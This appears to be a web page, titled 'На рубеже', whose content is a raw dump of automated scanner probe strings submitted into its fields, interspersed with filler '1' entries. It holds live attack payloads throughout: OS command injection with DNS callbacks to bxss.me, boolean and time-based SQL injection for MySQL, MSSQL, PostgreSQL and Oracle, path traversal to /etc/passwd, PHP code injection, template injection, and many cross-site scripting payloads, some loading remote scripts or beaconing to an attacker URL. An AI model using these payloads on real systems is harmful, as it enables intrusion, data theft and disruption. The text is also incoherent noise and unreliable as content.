На рубеже

1

1

response.write(9627201*9436068)

'+response.write(9627201*9436068)+'

"+response.write(9627201*9436068)+"

1

1

1

1

echo kwujub$() kuidbwnz^xyu||a #' &echo kwujub$() kuidbwnz^xyu||a #|" &echo kwujub$() kuidbwnz^xyu||a #

&echo ogqjbp$() bzvawonz^xyu||a #' &echo ogqjbp$() bzvawonz^xyu||a #|" &echo ogqjbp$() bzvawonz^xyu||a #

|echo jztfyr$() pjjjgbnz^xyu||a #' |echo jztfyr$() pjjjgbnz^xyu||a #|" |echo jztfyr$() pjjjgbnz^xyu||a #

(nslookup hitzzzogncbaedd135.bxss.me||perl -e "gethostbyname('hitzzzogncbaedd135.bxss.me')")

$(nslookup hitxynkqrtnmbaf280.bxss.me||perl -e "gethostbyname('hitxynkqrtnmbaf280.bxss.me')")

&(nslookup hitoorooyaejj40d51.bxss.me||perl -e "gethostbyname('hitoorooyaejj40d51.bxss.me')")&'"`0&(nslookup hitoorooyaejj40d51.bxss.me||perl -e "gethostbyname('hitoorooyaejj40d51.bxss.me')")&`'

|(nslookup hitskayjlzyms1ea0c.bxss.me||perl -e "gethostbyname('hitskayjlzyms1ea0c.bxss.me')")

`(nslookup hitfsjzxqjtob5ee73.bxss.me||perl -e "gethostbyname('hitfsjzxqjtob5ee73.bxss.me')")`

;(nslookup hithsbvwnbpsa981e7.bxss.me||perl -e "gethostbyname('hithsbvwnbpsa981e7.bxss.me')")|(nslookup hithsbvwnbpsa981e7.bxss.me||perl -e "gethostbyname('hithsbvwnbpsa981e7.bxss.me')")&(nslookup hithsbvwnbpsa981e7.bxss.me||perl -e "gethostbyname('hithsbvwnbpsa981e7.bxss.me')")

-1 OR 2+729-729-1=0+0+0+1 --

-1 OR 3+729-729-1=0+0+0+1 --

-1 OR 3*2<(0+5+729-729) --

-1 OR 3*2>(0+5+729-729) --

-1 OR 2+198-198-1=0+0+0+1

BilQ6fFx

../../../../../../../../../../../../../../etc/passwd

-1 OR 3+198-198-1=0+0+0+1

../../../../../../../../../../../../../../windows/win.ini

-1 OR 3*2<(0+5+198-198)

1

1

-1 OR 3*2>(0+5+198-198)

1<esi:include src="http://bxss.me/rpb.png"/>

../1

1

1

-1' OR 2+128-128-1=0+0+0+1 --

./1

1

1

-1' OR 3+128-128-1=0+0+0+1 --

${10000387+9999830}

1

-1' OR 3*2<(0+5+128-128) --

1

1

-1' OR 3*2>(0+5+128-128) --

1

1

1

-1' OR 2+436-436-1=0+0+0+1 or 'xKBFyxd2'='

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1&n933022=v969650

1

1

-1' OR 3+436-436-1=0+0+0+1 or 'xKBFyxd2'='

1

1some_inexistent_file_with_long_name.jpg

1

1

-1' OR 3*2<(0+5+436-436) or 'xKBFyxd2'='

1

Http://bxss.me/t/fit.txt

1

-1' OR 3*2>(0+5+436-436) or 'xKBFyxd2'='

1

1

http://bxss.me/t/fit.txt?.jpg

)

-1" OR 2+596-596-1=0+0+0+1 --

'.gethostbyname(lc('hityg'.'zcxoekzc7d830.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(68).chr(114).chr(90).'

1

bxss.me

!(()&&!|*|*|

-1" OR 3+596-596-1=0+0+0+1 --

".gethostbyname(lc("hitkx"."otwzautqa77e9.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(83).chr(116).chr(76)."

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

^(#$!@#$)(()))******

-1" OR 3*2<(0+5+596-596) --

';print(md5(31337));$a='

";print(md5(31337));$a="

-1" OR 3*2>(0+5+596-596) --

${@print(md5(31337))}

1

${@print(md5(31337))}

1

1

'.print(md5(31337)).'

1

1

1

1

1

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(110).concat(71).concat(118).concat(75)+(require"socket"
Socket.gethostbyname("hitpp"+"ycirnqlof04d9.bxss.me.")[3].to_s)+"

1

bxss.me/t/xss.html?%00

1

'+'A'.concat(70-3).concat(22*4).concat(102).concat(74).concat(117).concat(70)+(require'socket'
Socket.gethostbyname('hitsi'+'qvzuygzldfe60.bxss.me.')[3].to_s)+'

comments.php

comments.php

1

1

comments.php/.

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

1

910214

1

1

1

http://xfs.bxss.me

1

1

'"

//xfs.bxss.me

1

<!--

1

/xfs.bxss.me

1'"()&%<acx><ScRiPt >B12K(9210)</ScRiPt>

'"()&%<acx><ScRiPt >B12K(9884)</ScRiPt>

1

19638356

1

1

19638356<

1

acu2628＜s1﹥s2ʺs3ʹuca2628

1

1

1

<%={{={@{#{${acx}}%>

1

<th:t="${acx}#foreach

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1<ScRiPt >B12K(9315)</ScRiPt>

1<W5GCR1>V0TII[!+!]</W5GCR1>

1<script>B12K(9153)</script>

if(now()=sysdate(),sleep(15),0)

1<ScR<ScRiPt>IpT>B12K(9352)</sCr<ScRiPt>IpT>

1<ScRiPt
>B12K(9192)</ScRiPt>

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9253></ScRiPt>

1<ScRiPt
>B12K(9638)</ScRiPt>

1<isindex type=image src=1 onerror=B12K(9607)>

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9718'>

1<body onload=B12K(9725)>

1<img src=//xss.bxss.me/t/dot.gif onload=B12K(9606)>

1<img src=xyz OnErRor=B12K(9842)>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1<img/src=">" onerror=alert(9360)>

%31%3C%53%63%52%69%50%74%20%3E%42%31%32%4B%289890%29%3C%2F%73%43%72%69%70%54%3E

1u003CScRiPtB12K(9041)u003C/sCripTu003E

1&lt;ScRiPt&gt;B12K(9072)&lt;/sCripT&gt;

1<input autofocus onfocus=B12K(9896)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

1}body{acu:Expre/**/SSion(B12K(9617))}

1<% contenteditable onresize=B12K(9866)>

1vVivT
<ScRiPt >B12K(9526)</ScRiPt>

1<WJHYCM>JLARO[!+!]</WJHYCM>

1<ifRAme sRc=9418.com></IfRamE>

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1<w0GYHJ x=9384>

1<img sRc='http://attacker-9107/log.php?

1<XRU6YD<

1

1

1

1

1

1

1

1

1

1

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

1

1

1

1

1

1

1

1

1

-1; waitfor delay '0:0:15' --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1); waitfor delay '0:0:15' --

1

1

1

1

1

1

1 waitfor delay '0:0:15' --

MoMYoOVl'; waitfor delay '0:0:15' --

-5 OR 450=(SELECT 450 FROM PG_SLEEP(15))--

-5) OR 880=(SELECT 880 FROM PG_SLEEP(15))--

-1)) OR 897=(SELECT 897 FROM PG_SLEEP(15))--

oBSeq59r' OR 645=(SELECT 645 FROM PG_SLEEP(15))--

TsnhhkVF') OR 336=(SELECT 336 FROM PG_SLEEP(15))--

XmQsEzG1')) OR 975=(SELECT 975 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@65PV7

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1